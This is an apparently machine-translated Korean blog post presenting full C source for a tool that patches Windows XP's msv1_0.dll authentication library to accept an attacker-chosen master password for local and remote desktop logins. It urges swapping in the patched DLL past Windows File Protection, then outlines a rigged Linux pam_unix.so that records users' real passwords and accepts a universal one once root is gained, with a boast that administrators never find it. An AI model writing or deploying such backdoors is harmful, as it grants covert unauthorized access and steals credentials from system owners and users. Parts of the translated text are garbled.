공통 암호 후문

사실 이 물건들은 내가 일찌감치 만들어 썼을 뿐만 아니라 효과도 괜찮아서 현재 관리원이 발견한 사람이 한 명도 없다.다음 프로그램은 winxpsp2 중국어 버전에서만 테스트합니다

  
  
  
  
  1. #include   
  2.   #include   
  3.   #include "windows.h"   
  4.   #include "wincrypt.h"   
  5.   wchar_t passwd[1024];   
  6.   char path[1024], hash[16];   
  7.   const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;   
  8.   const char chunk1[] = {   
  9.   0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90   
  10.   };   
  11.   const char chunk2[] = {   
  12.   0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,   
  13.   0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,   
  14.   0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,   
  15.   0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,   
  16.   0xC4, 0x77   
  17.   };   
  18.   void err(char *msg) {   
  19.   printf("error: %s
    "
    , msg);   
  20.   exit(1);   
  21.   }   
  22.   int main(int argc, char *argv[]) {   
  23.   HCRYPTPROV hProv;   
  24.   HCRYPTHASH hHash;   
  25.   unsigned len, sint = sizeof(int);   
  26.   FILE *fout;   
  27.   if (argc != 2) {   
  28.   printf("msv1_0.dll password backdoor generator by cly
    "
       
  29.   "Usage:
    %s password
    Only for winxp sp2
    "
    , argv[0]);   
  30.   exit(1);   
  31.   }   
  32.   len = strlen(argv[1]);   
  33.   if (len >512)   
  34.   err("the password is too long");   
  35.   len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);   
  36.   if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))   
  37.   if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,   
  38.   PROV_RSA_FULL,   
  39.   CRYPT_NEWKEYSET))   
  40.   err("CryptAcquireContext");   
  41.   if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))   
  42.   err("CryptCreateHash");   
  43.   if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))   
  44.   err("CryptHashData");   
  45.   CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);   
  46.   if (len != 16)   
  47.   err("CryptGetHashParam");   
  48.   CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);   
  49.   if (hHash)   
  50.   CryptDestroyHash(hHash);   
  51.   if (hProv)   
  52.   CryptReleaseContext(hProv, 0);   
  53.   if (strlen(getenv("windir")) >512)   
  54.   err("Are you kidding?");   
  55.   sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));   
  56.   if (!CopyFileA(path, "msv1_0.dll.cly", 0))   
  57.   err("CopyFileA");   
  58.   fout = fopen("msv1_0.dll.cly""rb+");   
  59.   if (fout == NULL)   
  60.   err("fopen");   
  61.   fseek(fout, os1, SEEK_SET);   
  62.   fwrite(chunk1, sizeof(chunk1), 1, fout);   
  63.   fseek(fout, os2, SEEK_SET);   
  64.   fwrite(chunk2, sizeof(chunk2), 1, fout);   
  65.   fseek(fout, ospasswd, SEEK_SET);   
  66.   fwrite(hash, sizeof(hash), 1, fout);   
  67.   fclose(fout);   
  68.   return 0;   
  69.   }  

이 프로그램을 실행하면 획득한 msv10.dll.cly를 c:\windows\system32\msv1 로 복사0.dll(WFP를 돌아갈 수 있는 방법을 생각해 보세요) 사용자가 설정한 비밀번호로 로그인할 수 있고 원격 데스크톱도 가능합니다.여기는 단지 하나의 사고방식을 제공할 뿐이다. 다른 버전, 예를 들어 win2k3는 이렇게 할 수 있을 것이다.사실 나는 처음에 인터넷에 올라온 글을 보았지만, 그는 빈 구령으로 로그인할 수 있고, 이것은 내가 설정한 구령으로 로그인할 수 있다.Linux에서 더 간단해졌어요. 자기pam을 직접 컴파일하세요unix.올라가면 돼.이거pamunix.so는 정확한 비밀번호를 기록할 수도 있고 위와 같은 통용 비밀번호 뒷문을 만들 수도 있다.나는 이렇게 했다. 먼저 비밀번호가 맞는지 아닌지를 판단하고 맞으면 기록하고 통과시킨다. 그렇지 않으면 내가 설정한 통용 비밀번호가 맞는지 판단하고 만약에 맞다면 통과시키고 다른 검증은 실패했다.이렇게 해서 내가local root에 성공한 후에 이런 뒷문을 놓으니 관리자가 정말 알아내기 어렵다.쓴 것은 단지 박수를 위해 웃는 것이다.

좋은 웹페이지 즐겨찾기